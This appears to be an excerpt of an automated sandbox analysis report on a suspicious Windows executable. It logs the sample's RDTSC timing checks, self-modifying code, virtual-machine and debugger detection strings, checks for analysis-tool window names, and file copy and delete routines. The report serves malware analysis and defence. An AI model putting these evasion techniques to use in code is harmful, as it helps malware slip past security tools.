Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63FB23 second address: 63FB27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63FF80 second address: 63FF89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63FF89 second address: 63FF8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6401AE second address: 6401BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 je 00007F2398D03473h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6404B3 second address: 6404BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6408E0 second address: 6408E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6408E6 second address: 6408EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 640AA5 second address: 640AAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 640AAB second address: 640AAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6411A9 second address: 6411B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F2398D03456h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 647603 second address: 647626 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F239852C065h 0x00000007 jng 00007F239852C056h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 647626 second address: 64762A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64762A second address: 647630 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 647786 second address: 64778C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 657ECC second address: 657ED6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F239852C056h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 657BAE second address: 657BB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 657BB2 second address: 657BBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65A35F second address: 65A36D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F2398D03456h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65A36D second address: 65A375 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65A375 second address: 65A37B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66788E second address: 66789F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jc 00007F239852C056h 0x0000000d pop ebx 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66789F second address: 6678A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66E921 second address: 66E925 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66EA95 second address: 66EAAE instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F2398D0345Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66F01D second address: 66F02F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F239852C05Bh 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66F9FD second address: 66FA17 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F2398D03464h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66FA17 second address: 66FA28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F239852C05Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66FA28 second address: 66FA2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66FA2C second address: 66FA35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66FA35 second address: 66FA3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 672F01 second address: 672F07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 672F07 second address: 672F0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 672F0F second address: 672F1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F239852C05Ah 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 674EBC second address: 674EC1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 674EC1 second address: 674ECA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 674ECA second address: 674ECE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 682195 second address: 6821D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F239852C067h 0x00000007 jmp 00007F239852C064h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop edi 0x0000000f jc 00007F239852C064h 0x00000015 push esi 0x00000016 jbe 00007F239852C056h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68202D second address: 68204C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 jmp 00007F2398D03468h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D8BF second address: 67D8C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D8C3 second address: 67D8E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jbe 00007F2398D0345Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 jnl 00007F2398D03456h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68EEBF second address: 68EEC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68EEC4 second address: 68EEDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2398D03464h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6918CF second address: 6918D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6918D3 second address: 6918FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 pushad 0x00000008 jc 00007F2398D0345Ah 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 push ecx 0x00000013 jmp 00007F2398D03463h 0x00000018 pop ecx 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6918FD second address: 691905 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A26F0 second address: 6A26F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A26F4 second address: 6A2717 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jng 00007F239852C056h 0x00000011 jmp 00007F239852C062h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A2717 second address: 6A271F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A271F second address: 6A2732 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F239852C05Eh 0x00000008 push edi 0x00000009 pop edi 0x0000000a je 00007F239852C056h 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A289C second address: 6A28BA instructions: 0x00000000 rdtsc 0x00000002 jng 00007F2398D03458h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jnp 00007F2398D03458h 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 push edi 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A2B75 second address: 6A2B7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A2B7F second address: 6A2B84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A2FC4 second address: 6A2FCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A3110 second address: 6A3131 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop esi 0x00000007 jmp 00007F2398D03464h 0x0000000c pop eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A3131 second address: 6A3135 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A3135 second address: 6A313F instructions: 0x00000000 rdtsc 0x00000002 jl 00007F2398D03456h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A4EE4 second address: 6A4EF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F239852C05Bh 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A4EF4 second address: 6A4F23 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2398D03466h 0x00000007 pushad 0x00000008 jmp 00007F2398D03464h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A4F23 second address: 6A4F36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F239852C056h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A4F36 second address: 6A4F4E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2398D0345Ah 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jc 00007F2398D03456h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A4F4E second address: 6A4F58 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F239852C056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A4F58 second address: 6A4F5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A79C6 second address: 6A79CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A79CC second address: 6A79D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A7DCB second address: 6A7DE2 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F239852C05Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A7DE2 second address: 6A7DEC instructions: 0x00000000 rdtsc 0x00000002 jo 00007F2398D03456h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A8F40 second address: 6A8F57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007F239852C05Eh 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AC710 second address: 6AC715 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AC715 second address: 6AC72E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 push edi 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b pop edi 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 jo 00007F239852C056h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AC72E second address: 6AC74D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2398D03468h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AC74D second address: 6AC752 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF031A second address: 4CF031E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF031E second address: 4CF033B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F239852C069h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF033B second address: 4CF0359 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2398D03461h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov eax, ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f movsx ebx, si 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF040E second address: 4CF041D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F239852C05Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF041D second address: 4CF0486 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F2398D03462h 0x00000009 sbb ecx, 61F3D9A8h 0x0000000f jmp 00007F2398D0345Bh 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 xchg eax, ebp 0x00000019 jmp 00007F2398D03466h 0x0000001e push eax 0x0000001f pushad 0x00000020 mov eax, edx 0x00000022 popad 0x00000023 xchg eax, ebp 0x00000024 jmp 00007F2398D03466h 0x00000029 mov ebp, esp 0x0000002b pushad 0x0000002c mov ax, 25BDh 0x00000030 push eax 0x00000031 push edx 0x00000032 mov ah, 0Ch 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF0486 second address: 4CF048A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF048A second address: 4CF0499 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pop ebp 0x00000008 pushad 0x00000009 mov ah, dl 0x0000000b push eax 0x0000000c push edx 0x0000000d mov al, FFh 0x0000000f rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 411AC2 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5E6D41 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 4119A2 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 64E9F2 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001C38B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_001C38B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001C4910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_001C4910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001BDA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_001BDA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001BE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_001BE430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001BED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_001BED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001C4570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_001C4570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001BDE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_001BDE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001BBE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_001BBE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001BF68A FindFirstFileA,	0_2_001BF68A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001BF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_001BF6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001C3EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_001C3EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001B16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_001B16D0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001B1160 GetSystemInfo,ExitProcess,

0_2_001B1160

Source: file.exe, file.exe, 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.2074713980.0000000000F41000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWK,
Source: file.exe, 00000000.00000002.2074713980.0000000000F13000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2074713980.0000000000F41000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2074713980.0000000000ECE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13746
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13749
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13769
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13801
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13761

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
